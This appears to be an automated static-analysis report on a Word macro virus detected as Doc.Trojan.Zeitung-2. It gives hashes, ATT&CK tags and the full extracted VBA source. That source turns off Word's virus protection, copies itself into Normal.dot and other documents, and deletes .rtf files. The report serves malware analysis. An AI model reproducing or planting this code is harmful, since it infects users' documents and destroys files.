Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f2bbaf7d5b38f35…

MALICIOUS

Office (OLE)

36.0 KB Created: 2001-05-28 10:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f055c13e50380fa62f61edf80e1151a1 SHA-1: 9dcb6aea5e29c7d1ae95fd3826bbcab9b1bcf499 SHA-256: 5f2bbaf7d5b38f358e6074e8c5b05573c322230f39fccb394795347906821099
80 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature 'Doc.Trojan.Zeitung-2'. It contains VBA macros that appear to be designed to infect other documents or templates by copying malicious code. The macro's logic suggests it attempts to spread itself to the Normal.dot template or other documents, potentially to ensure persistence or further infection.

Heuristics 2

  • ClamAV: Doc.Trojan.Zeitung-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Zeitung-2
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7088 bytes
SHA-256: 9ddbfd59285d1527c5f3aacc69e4c07dc9e92ae7feb447d48da54739119f96cf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const Signature = "VirusZeitung"
'èó îäíÐììÄàîû ë åòèàè àåû"äêéîîüâðññçà îàî èâìäíéðçöèãçò Àñè ã"
'60
'awedft
Dim sd, reg As Boolean
Private Function Kontaminat(O)
 If Not O.codemodule.Find(Signature, 1, 1, 100, 100) Then
  Kontaminat = 0
 Else
  If O.codemodule.countoflines < 50 Then
   Kontaminat = 0
  Else
   Ant$ = Trim(O.codemodule.lines(3, 1))
   Ant$ = Trim(Mid(Ant$, 2, Len(Ant$) - 1))
   If Val(Ant$) < 65535 Then
    Kontaminat = Val(Ant$)
   Else
    Kontaminat = -1
   End If
 End If
 End If
End Function
Private Sub Document_Close()
 Dim ad, nt As Object
 Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
 Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
 On Error Resume Next
 Options.VirusProtection = False
 If (Kontaminat(ad) < Kontaminat(nt)) And ((ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate)) Then
  sd = ActiveDocument.Saved
  cofl = ad.codemodule.countoflines
  ad.codemodule.deletelines 1, cofl
  For v = 1 To nt.codemodule.countoflines
   If Trim(nt.codemodule.lines(v, 1)) <> "" Then
    ad.codemodule.insertlines v, nt.codemodule.lines(v, 1)
   End If
  Next v
  If (sd = True) And (Mid(ActiveDocument.ActiveWindow.Caption, 1, 8) <> "Äîêóìåíò") Then ActiveDocument.Save
 End If
 If Kontaminat(ad) > Kontaminat(nt) Then
  sd = NormalTemplate.Saved
  cofl = nt.codemodule.countoflines
  nt.codemodule.deletelines 1, cofl
  For v = 1 To ad.codemodule.countoflines
   If Trim(ad.codemodule.lines(v, 1)) <> "" Then
    nt.codemodule.insertlines v, ad.codemodule.lines(v, 1)
   End If
  Next v
  If sd = True Then NormalTemplate.Save
 End If
 Set nt = Nothing
 Set ad = Nothing
 Kill "Àäñêèé*.rtf"
End Sub

' Processing file: /opt/analyzer/scan_staging/691c6cae4f8f4add91aa899b64359f41.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3861 bytes
' Line #0:
' 	Dim (Const) 
' 	LitStr 0x000C "VirusZeitung"
' 	VarDefn Signature
' Line #1:
' 	QuoteRem 0x0000 0x003F "èó îäíÐììÄàîû ë åòèàè àåû"äêéîîüâðññçà îàî èâìäíéðçöèãçò Àñè ã""
' Line #2:
' 	QuoteRem 0x0000 0x0002 "60"
' Line #3:
' 	QuoteRem 0x0000 0x0006 "awedft"
' Line #4:
' 	Dim 
' 	VarDefn sd
' 	VarDefn reg (As Boolean)
' Line #5:
' 	FuncDefn (Private Function Kontaminat(O, id_FFFE As Variant))
' Line #6:
' 	Ld Signature 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0064 
' 	LitDI2 0x0064 
' 	Ld O 
' 	MemLd codemodule 
' 	ArgsMemLd Find 0x0005 
' 	Not 
' 	IfBlock 
' Line #7:
' 	LitDI2 0x0000 
' 	St Kontaminat 
' Line #8:
' 	ElseBlock 
' Line #9:
' 	Ld O 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	LitDI2 0x0032 
' 	Lt 
' 	IfBlock 
' Line #10:
' 	LitDI2 0x0000 
' 	St Kontaminat 
' Line #11:
' 	ElseBlock 
' Line #12:
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld O 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	ArgsLd Trim 0x0001 
' 	St Ant$ 
' Line #13:
' 	Ld Ant$ 
' 	LitDI2 0x0002 
' 	Ld Ant$ 
' 	FnLen 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd Mid$ 0x0003 
' 	ArgsLd Trim 0x0001 
' 	St Ant$ 
' Line #14:
' 	Ld Ant$ 
' 	ArgsLd Val 0x0001 
' 	LitDI4 0xFFFF 0x0000 
' 	Lt 
' 	IfBlock 
' Line #15:
' 	Ld Ant$ 
' 	ArgsLd Val 0x0001 
' 	St Kontaminat 
' Line #16:
' 	ElseBlock 
' Line #17:
' 	LitDI2 0x0001 
' 	UMi 
' 	St Kontaminat 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	EndFunc 
' Line #22:
' 	FuncDefn (Private Sub Document_Close())
' Line #23:
' 	Dim 
' 	VarDefn ad
' 	VarDefn nt (As Object)
' Line #24:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set nt 
' Line #25:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ad 
' Line #26:
' 	OnE
... (truncated)